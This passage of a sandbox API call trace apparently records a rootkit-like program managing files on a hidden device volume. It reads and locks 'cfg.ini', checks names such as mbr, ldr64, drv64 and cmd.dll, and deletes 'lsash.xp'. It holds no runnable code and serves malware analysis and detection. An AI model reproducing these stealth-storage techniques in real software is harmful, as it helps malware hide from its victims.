[0117.969] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.969] KeEnterCriticalRegion () [0117.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.969] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.969] IdePortDispatch () returned 0x103 [0117.969] KeWaitForMutexObject () returned 0x0 [0117.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.969] KeLeaveCriticalRegion () [0117.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.970] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.970] KeEnterCriticalRegion () [0117.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.970] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347e000 [0117.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.970] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.970] IdePortDispatch () returned 0x103 [0117.970] KeWaitForMutexObject () returned 0x0 [0117.970] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.970] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.971] IdePortDispatch () returned 0x103 [0117.971] KeWaitForMutexObject () returned 0x0 [0117.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.971] KeLeaveCriticalRegion () [0117.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.971] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.971] KeEnterCriticalRegion () [0117.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.972] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.972] KeLeaveCriticalRegion () [0117.972] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.972] KeEnterCriticalRegion () [0117.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.972] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.972] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.972] KeLeaveCriticalRegion () [0117.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.972] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.972] KeEnterCriticalRegion () [0117.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.972] ExFreePoolWithTag (P=0xfffffa8003aa63a0, Tag=0x0) [0117.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.972] KeLeaveCriticalRegion () [0117.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.972] ReleaseMutex (hMutex=0xf0) returned 1 [0117.972] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.972] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.972] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.972] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.972] KeEnterCriticalRegion () [0117.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.972] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.972] IdePortDispatch () returned 0x103 [0117.973] KeWaitForMutexObject () returned 0x0 [0117.973] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.973] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.973] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.973] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.973] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.973] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.973] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.973] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.973] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.973] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.973] KeLeaveCriticalRegion () [0117.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.973] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.973] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.973] KeEnterCriticalRegion () [0117.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.973] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.973] IdePortDispatch () returned 0x103 [0117.974] KeWaitForMutexObject () returned 0x0 [0117.974] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.974] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.974] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.974] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.974] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.974] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.974] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.974] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.974] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.974] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.974] KeLeaveCriticalRegion () [0117.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.975] ReleaseMutex (hMutex=0x100) returned 1 [0117.975] Sleep (dwMilliseconds=0x2bf20) [0117.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6984d6f0, dwHighDateTime=0x1d24fa4)) [0117.984] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.984] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.984] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.984] KeEnterCriticalRegion () [0117.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.984] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.984] IdePortDispatch () returned 0x103 [0117.984] KeWaitForMutexObject () returned 0x0 [0117.984] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.984] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.984] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.984] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.984] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.984] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6060 [0117.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.984] KeLeaveCriticalRegion () [0117.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.985] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.985] KeEnterCriticalRegion () [0117.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.985] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.985] KeLeaveCriticalRegion () [0117.985] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.985] KeEnterCriticalRegion () [0117.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.985] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.985] IdePortDispatch () returned 0x103 [0117.985] KeWaitForMutexObject () returned 0x0 [0117.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.985] KeLeaveCriticalRegion () [0117.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.985] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.985] KeEnterCriticalRegion () [0117.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.985] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003481000 [0117.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.986] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.986] IdePortDispatch () returned 0x103 [0117.986] KeWaitForMutexObject () returned 0x0 [0117.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.986] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.986] IdePortDispatch () returned 0x103 [0117.986] KeWaitForMutexObject () returned 0x0 [0117.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.986] KeLeaveCriticalRegion () [0117.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.987] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.987] KeEnterCriticalRegion () [0117.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.987] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.987] KeLeaveCriticalRegion () [0117.987] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.987] KeEnterCriticalRegion () [0117.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.987] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.987] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b28350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.987] KeLeaveCriticalRegion () [0117.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.987] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.987] KeEnterCriticalRegion () [0117.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.987] ExFreePoolWithTag (P=0xfffffa8003aa6060, Tag=0x0) [0117.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.988] KeLeaveCriticalRegion () [0117.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.988] ReleaseMutex (hMutex=0xf0) returned 1 [0117.988] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.988] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.988] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.988] KeEnterCriticalRegion () [0117.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.988] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.988] IdePortDispatch () returned 0x103 [0117.988] KeWaitForMutexObject () returned 0x0 [0117.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.988] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.988] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.988] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.988] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.988] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6120 [0117.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.988] KeLeaveCriticalRegion () [0117.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.988] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.989] KeEnterCriticalRegion () [0117.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.989] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.989] KeLeaveCriticalRegion () [0117.989] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.989] KeEnterCriticalRegion () [0117.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.989] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.989] IdePortDispatch () returned 0x103 [0117.989] KeWaitForMutexObject () returned 0x0 [0117.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.989] KeLeaveCriticalRegion () [0117.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.989] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.989] KeEnterCriticalRegion () [0117.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.989] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003482000 [0117.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.990] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.990] IdePortDispatch () returned 0x103 [0117.990] KeWaitForMutexObject () returned 0x0 [0117.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.990] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.990] IdePortDispatch () returned 0x103 [0117.990] KeWaitForMutexObject () returned 0x0 [0117.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.990] KeLeaveCriticalRegion () [0117.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.991] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.991] KeEnterCriticalRegion () [0117.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.991] KeLeaveCriticalRegion () [0117.991] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.991] KeEnterCriticalRegion () [0117.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.991] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.991] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.991] KeLeaveCriticalRegion () [0117.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.991] _snprintf (in: 